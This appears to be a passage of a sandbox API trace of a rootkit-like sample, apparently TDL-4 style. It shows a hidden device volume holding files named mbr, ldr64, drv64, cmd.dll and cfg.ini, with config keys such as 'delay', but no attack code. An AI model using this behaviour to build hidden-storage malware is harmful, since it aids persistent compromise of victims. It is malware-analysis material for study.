(StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.362] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.362] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.362] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.362] IdePortDispatch () returned 0x103 [0123.362] KeWaitForMutexObject () returned 0x0 [0123.362] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.362] KeLeaveCriticalRegion () [0123.362] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.363] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.363] KeEnterCriticalRegion () [0123.363] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.363] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.363] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.363] KeLeaveCriticalRegion () [0123.363] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.363] KeEnterCriticalRegion () [0123.363] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.363] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0123.363] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bea070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.363] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.363] KeLeaveCriticalRegion () [0123.363] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.363] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.363] KeEnterCriticalRegion () [0123.363] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.363] ExFreePoolWithTag (P=0xfffffa8003bea7b0, Tag=0x0) [0123.363] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.363] KeLeaveCriticalRegion () [0123.363] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.363] ReleaseMutex (hMutex=0xf0) returned 1 [0123.363] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0123.363] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0123.363] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0123.363] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0123.363] KeEnterCriticalRegion () [0123.363] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.363] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.363] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.364] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.364] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.364] IdePortDispatch () returned 0x103 [0123.364] KeWaitForMutexObject () returned 0x0 [0123.364] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.364] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0123.364] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.364] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.364] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.364] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0123.364] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0123.364] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.364] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.364] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0123.364] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.364] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.364] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.364] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.364] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.364] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.364] KeLeaveCriticalRegion () [0123.364] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.364] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0123.364] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0123.364] KeEnterCriticalRegion () [0123.364] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.364] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.364] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.364] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.364] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.364] IdePortDispatch () returned 0x103 [0123.364] KeWaitForMutexObject () returned 0x0 [0123.365] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.365] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0123.365] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.365] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.365] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.365] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0123.365] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0123.365] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.365] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.365] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0123.365] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.365] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.365] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.365] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.365] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.365] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.365] KeLeaveCriticalRegion () [0123.365] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.365] ReleaseMutex (hMutex=0x100) returned 1 [0123.365] Sleep (dwMilliseconds=0x2bf20) [0123.371] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6cba1150, dwHighDateTime=0x1d24fa4)) [0123.371] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0123.371] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.371] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0123.371] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.371] KeEnterCriticalRegion () [0123.371] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.371] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.371] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.371] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.371] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.371] IdePortDispatch () returned 0x103 [0123.371] KeWaitForMutexObject () returned 0x0 [0123.372] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.372] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.372] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.372] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.372] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.372] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80036083e0 [0123.372] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.372] KeLeaveCriticalRegion () [0123.372] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.372] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.372] KeEnterCriticalRegion () [0123.372] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.372] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.372] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.372] KeLeaveCriticalRegion () [0123.372] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.372] KeEnterCriticalRegion () [0123.372] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.372] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.372] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.372] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.372] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0123.372] IdePortDispatch () returned 0x103 [0123.372] KeWaitForMutexObject () returned 0x0 [0123.372] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.372] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.372] KeLeaveCriticalRegion () [0123.372] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.372] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.373] KeEnterCriticalRegion () [0123.373] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.373] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003497000 [0123.373] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.373] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.373] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.373] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.373] IdePortDispatch () returned 0x103 [0123.373] KeWaitForMutexObject () returned 0x0 [0123.373] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.373] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.373] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.373] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.373] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.373] IdePortDispatch () returned 0x103 [0123.373] KeWaitForMutexObject () returned 0x0 [0123.373] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.373] KeLeaveCriticalRegion () [0123.373] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.374] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.374] KeEnterCriticalRegion () [0123.374] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.374] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.374] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.374] KeLeaveCriticalRegion () [0123.374] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.374] KeEnterCriticalRegion () [0123.374] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.374] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0123.374] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bea070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.374] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.374] KeLeaveCriticalRegion () [0123.374] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.374] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.374] KeEnterCriticalRegion () [0123.374] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.374] ExFreePoolWithTag (P=0xfffffa80036083e0, Tag=0x0) [0123.374] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.374] KeLeaveCriticalRegion () [0123.374] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.374] ReleaseMutex (hMutex=0xf0) returned 1 [0123.374] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.374] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0123.374] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.374] KeEnterCriticalRegion () [0123.374] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.374] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.374] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.374] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.374] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.374] IdePortDispatch () returned 0x103 [0123.374] KeWaitForMutexObject () returned 0x0 [0123.375] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.375] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.375] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.375] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.375] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.375] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bebc50 [0123.375] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.375] KeLeaveCriticalRegion () [0123.375] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.375] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.375] KeEnterCriticalRegion () [0123.375] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.375] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.375] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.375] KeLeaveCriticalRegion () [0123.375] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.375] KeEnterCriticalRegion () [0123.375] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.375] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.375] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.375] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.375] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0123.375] IdePortDispatch () returned 0x103 [0123.375] KeWaitForMutexObject () returned 0x0 [0123.375] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.375] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.375] KeLeaveCriticalRegion () [0123.375] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.375] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.375] KeEnterCriticalRegion () [0123.375] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.375] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003498000 [0123.375] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.375] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.375] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.375] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.375] IdePortDispatch () returned 0x103 [0123.376] KeWaitForMutexObject () returned 0x0 [0123.376] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.376] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.376] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.376] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.376] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.376] IdePortDispatch () returned 0x103 [0123.376] KeWaitForMutexObject () returned 0x0 [0123.376] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.376] KeLeaveCriticalRegion () [0123.376] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.376] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.376] KeEnterCriticalRegion () [0123.376] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.376] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.377] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.377] KeLeaveCriticalRegion () [0123.377] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.377] KeEnterCriticalRegion () [0123.377] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.377] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0123.377] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bebd10, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.377] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.377] KeLeaveCriticalRegion () [0123.377] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.377] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.377] KeEnterCriticalRegion () [0123.377] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.377] ExFreePoolWithTag (P=0xfffffa8003bebc50, Tag=0x0) [0123.377] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.377] KeLeaveCriticalRegion () [0123.377] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.377] ReleaseMutex (hMutex=0xf0) returned 1 [0123.377] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.377] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0123.377] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.377] KeEnterCriticalRegion () [0123.377] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.377] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.377] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.377] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.377] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.377] IdePortDispatch () returned 0x103 [0123.377] KeWaitForMutexObject () returned 0x0 [0123.377] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.377] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.377] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.377] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.377] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.377] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bebb40 [0123.377] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.377] KeLeaveCriticalRegion () [0123.377] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) 